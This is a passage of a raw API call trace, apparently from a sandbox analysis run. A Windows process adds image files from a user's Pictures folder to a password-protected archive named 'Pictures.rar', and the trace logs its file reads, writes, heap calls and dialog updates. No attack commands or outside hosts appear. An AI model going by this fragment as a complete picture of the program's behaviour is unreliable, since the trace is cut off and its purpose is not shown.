Flags=0x0, Size=0x20) returned 0x28b0a22fc90 [0064.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x64) returned 0x28b08463590 [0064.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9d40 | out: hHeap=0x28b08430000) returned 1 [0064.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed400 | out: hHeap=0x28b08430000) returned 1 [0064.633] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xa2d07 [0064.633] CloseHandle (hObject=0x350) returned 1 [0064.633] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.633] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.633] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.633] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.633] FindFirstFileW (in: lpFileName="g6r96fa7GyN6.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee670 [0064.633] FindClose (in: hFindFile=0x28b0c0ee670 | out: hFindFile=0x28b0c0ee670) returned 1 [0064.633] CreateFileW (lpFileName="g6r96fa7GyN6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\g6r96fa7gyn6.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.633] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.634] GetTickCount () returned 0x26111 [0064.634] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.634] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.634] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.634] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.634] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="FiPd_4qvOx8j.jpg") returned 16 [0064.634] SetWindowTextW (hWnd=0x102c6, lpString="g6r96fa7GyN6.gif") returned 1 [0064.954] GetTickCount () returned 0x2625a [0064.954] UpdateWindow (hWnd=0x102be) returned 1 [0064.954] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0064.958] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0064.958] GetFocus () returned 0x102e2 [0064.958] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 1 [0064.959] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.959] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.959] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.959] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x1bc)) [0064.959] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.959] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15628770326) returned 1 [0064.959] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xdfea, lpOverlapped=0x0) returned 1 [0064.959] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71a02a, nNumberOfBytesToRead=0xf2016, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71a02a*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.959] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.959] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.960] GetFocus () returned 0x102e2 [0064.960] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.961] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.961] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0064.961] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0064.961] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcc0, Size=0x48) returned 0x28b084f9bb0 [0064.961] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.961] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0064.961] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcc0, Size=0x48) returned 0x28b084f9980 [0064.961] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.961] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.961] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.961] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.961] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7b0 | out: hHeap=0x28b08430000) returned 1 [0064.961] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f930 | out: hHeap=0x28b08430000) returned 1 [0064.961] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f9c0, Size=0x48) returned 0x28b084f98e0 [0064.961] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ed5b0 [0064.961] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0064.961] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed5b0 | out: hHeap=0x28b08430000) returned 1 [0064.961] GetTickCount () returned 0x2625a [0064.961] GetLastError () returned 0x0 [0064.961] SetLastError (dwErrCode=0x0) [0064.961] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0064.961] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0064.961] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0064.961] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0064.962] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15629057832) returned 1 [0064.962] GetTickCount () returned 0x2625a [0064.962] GetTickCount () returned 0x2625a [0064.962] GetTickCount () returned 0x2625a [0064.962] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22fc60) returned 0x0 [0064.962] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22fc60, hwnd=0x102be, tbpFlags=2) returned 0x0 [0064.963] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22fc60, hwnd=0x102be, ullCompleted=0xb015a, ullTotal=0x2141be) returned 0x0 [0064.964] TaskbarList:IUnknown:Release (This=0x28b0a22fc60) returned 0x0 [0064.964] GetLastError () returned 0x36b7 [0064.964] SetLastError (dwErrCode=0x36b7) [0064.964] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0064.964] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0064.964] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 28%") returned 5 [0064.964] SetWindowTextW (hWnd=0x102de, lpString=" 33%") returned 1 [0064.965] GetLastError () returned 0x0 [0064.965] SetLastError (dwErrCode=0x0) [0064.965] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0064.965] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0064.965] SetWindowTextW (hWnd=0x102da, lpString=" 92%") returned 1 [0064.965] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x21, lParam=0x0) returned 0x1c [0064.965] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.966] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.966] GetFocus () returned 0x102e2 [0064.966] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.967] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.967] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.967] ResetEvent (hEvent=0x344) returned 1 [0064.967] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.969] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.969] ResetEvent (hEvent=0x344) returned 1 [0064.969] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.971] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.971] GetTickCount () returned 0x26269 [0064.971] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15629936552) returned 1 [0064.971] GetTickCount () returned 0x26269 [0064.971] GetTickCount () returned 0x26269 [0064.971] GetTickCount () returned 0x26269 [0064.971] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.972] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.972] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.972] ResetEvent (hEvent=0x33c) returned 1 [0064.972] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.973] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.973] ResetEvent (hEvent=0x33c) returned 1 [0064.973] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.974] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.974] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.974] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.974] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0xa2d07 [0064.974] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0xa2d6b [0064.974] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.974] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.974] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.974] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.974] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xe070, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xe070, lpOverlapped=0x0) returned 1 [0064.975] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.975] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.975] SetFilePointer (in: hFile=0x32c, lDistanceToMove=666887, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xa2d07 [0064.975] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0xa2d07 [0064.975] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.975] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.975] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7b0, Size=0x48) returned 0x28b084f9520 [0064.975] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6e90 [0064.975] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f630 [0064.975] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f630, Size=0x48) returned 0x28b084f9bb0 [0064.975] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6e90 | out: hHeap=0x28b08430000) returned 1 [0064.975] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0064.975] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0064.975] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.975] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fbd0 | out: hHeap=0x28b08430000) returned 1 [0064.975] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0064.975] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9430 [0064.976] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed520 [0064.976] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed523*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed523*, lpNumberOfBytesWritten=0xf00f8d8070*=0x64, lpOverlapped=0x0) returned 1 [0064.976] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.976] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x64) returned 0x28b084629c0 [0064.976] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.976] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed520 | out: hHeap=0x28b08430000) returned 1 [0064.976] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xb0ddb [0064.976] CloseHandle (hObject=0x350) returned 1 [0064.976] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.976] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.976] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.976] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.976] FindFirstFileW (in: lpFileName="gTXyE1NkEEb.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee550 [0064.976] FindClose (in: hFindFile=0x28b0c0ee550 | out: hFindFile=0x28b0c0ee550) returned 1 [0064.976] CreateFileW (lpFileName="gTXyE1NkEEb.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gtxye1nkeeb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.976] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.976] GetTickCount () returned 0x26269 [0064.976] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.977] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.977] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.977] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.977] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="g6r96fa7GyN6.gif") returned 16 [0064.977] SetWindowTextW (hWnd=0x102c6, lpString="gTXyE1NkEEb.jpg") returned 1 [0064.977] GetTickCount () returned 0x26269 [0064.977] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.977] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.977] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.978] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.978] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x1cc)) [0064.978] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.978] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15630625888) returned 1 [0064.978] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x178f5, lpOverlapped=0x0) returned 1 [0064.978] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b723935, nNumberOfBytesToRead=0xe870b, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b723935*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.978] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.978] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0064.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0064.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f9570 [0064.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0064.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f9de0 [0064.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9570 | out: hHeap=0x28b08430000) returned 1 [0064.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0064.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0064.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f9c0 | out: hHeap=0x28b08430000) returned 1 [0064.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9570 [0064.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9570, Size=0x7a) returned 0x28b084ed400 [0064.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0064.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed400 | out: hHeap=0x28b08430000) returned 1 [0064.979] GetTickCount () returned 0x26269 [0064.979] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15630724071) returned 1 [0064.979] GetTickCount () returned 0x26269 [0064.979] GetTickCount () returned 0x26269 [0064.979] GetTickCount () returned 0x26269 [0064.979] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.979] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.979] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.979] ResetEvent (hEvent=0x344) returned 1 [0064.979] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.983] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.983] ResetEvent (hEvent=0x344) returned 1 [0064.983] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.986] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] ResetEvent (hEvent=0x344) returned 1 [0064.986] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.990] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.991] GetTickCount () returned 0x26279 [0064.991] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15631980409) returned 1 [0064.991] GetTickCount () returned 0x26279 [0064.991] GetTickCount () returned 0x26279 [0064.991] GetTickCount () returned 0x26279 [0064.991] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.991] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.991] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.991] ResetEvent (hEvent=0x33c) returned 1 [0064.991] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.992] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.992] ResetEvent (hEvent=0x33c) returned 1 [0064.992] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.993] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.993] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.993] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.993] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0xb0ddb [0064.993] SetFilePointer (in: hFile=0x32c, 